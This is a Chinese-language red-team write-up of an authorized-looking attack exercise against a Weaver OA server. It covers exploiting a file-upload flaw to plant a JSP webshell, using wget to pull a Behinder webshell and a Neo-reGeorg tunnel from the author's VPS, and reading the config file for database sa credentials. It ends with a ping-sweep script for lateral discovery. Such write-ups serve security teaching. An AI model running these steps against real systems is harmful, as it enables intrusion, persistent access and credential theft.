泛微OA实战

记某次攻防演练实战

0x01 信息收集 前期进行相关的信息收集工作,发现主站的防护很严格,爆破被锁,批量测试工具会被ban ip,难度很大心态有点崩。

子域名枚举,访问后发现是一个业务系统,IP定位是某海外IP。原来该公司有海外业务,终于找到了一个相对的边缘资产。访问该系统的网站主页,对登录框进行测试: 抓登录包进行测试,随便输入账号密码之后提示License提交页面:测试文件上传功能点:发现cookie头中包含ecology_JSession字段名,验证该指纹是泛微OA应用。

0x02 web打点 用泛微OA的EXP进行测试相关漏洞:

测试出泛微OA weaver.common.Ctrl任意文件上传漏洞,上传了一句话jsp。

手工测试该一句话jsp:?cmd=whoami发现可以进行命令执行,目标系统为linux。

判断目标机器是否出网:目标机器尝试ping 我的VPS:VPS上监听80端口,目标机器尝试与80端口通信。发现目标机器可以与我的VPS通信。

0x03 建立据点

1、尝试使用webshell管理目标: 生成冰蝎的jsp webshell,尝试将冰蝎马落到目标机器上。?cmd=ping X.X.X.X -c 4?cmd=wgethttp://X.X.X.X

(1) 确定网站的绝对路径: 绝对路径为:/data/bdip/weaver/ecology/

(2) VSP启临时web服务发布webshell,目标机器执行下载命令: 确认冰蝎马落到目标机器的网站绝对路径下

。?cmd=pwd?cmd=wget -P /data/bdip/weaver/ecology/ 使用冰蝎连接对应的webshell,连接成功:

2、使用http_tunnel管理目标

(1) 使用Neo-reGeorg工具生成http tunnel的jsp: python3 neoreg.py generate -k xxxx

(2) 下载tunnel.jsp马到目标机器上: 确认tunnel.jsp文件落到目标机器根目录上。

(3) 在VPS上连接http tunnel jsp: ?cmd=wget -P /data/bdip/weaver/ecology neoreg.py -u-k xxx -p 1001

(4) 通过proxychains代理工具测试验证访问目标内网:

0x04 当前落脚点机器信息收集

1、寻找泛微OA连接数据库配置文件:

2、查看连接数据库的配置文件: 发现是MSSQL数据库,且数据库服务在本地开启。

3、查看数据库中的数据: 拿到sa用户的密码使用冰蝎去连接数据库,可以看到对应库中的数据:

?cmd=ls -lrth /data/bdip/weaver/ecology/WEB-INF/prop/weaver.properties?cmd=cat /data/bdip/weaver/ecology/WEB-INF/prop/weaver.properties

0x05 内网信息收集 1、查看当前机器的IP及同网段的主机IP:

2、探测当前网段存活主机:由于socks5代理无法代理ping流量。因此在VPS上准备一个ping.sh脚本,临时开启http服务。#!/bin/bashfor i in {1..254} do

ping -c2 -i0.3 -W1 X.X.X.$i &>/dev/null

if [ $? -eq 0 ];then

echo "X.X.X.$i is up" else

echo "X.X.X.$i is down"

fidone目标机器主动将ping.sh脚本下载到/opt目录下:

给ping.sh脚本赋予可执行权限:

运行ping.sh脚本将探活结果写到文件里:查看扫描结果除了落脚点这台机器,竟然当前网段只有1台机器存活。

存活机器大概率是网关,没有其他可以横向移动的机器了。

查了下hosts文件发现是云某云主机,结束

首发tools by geo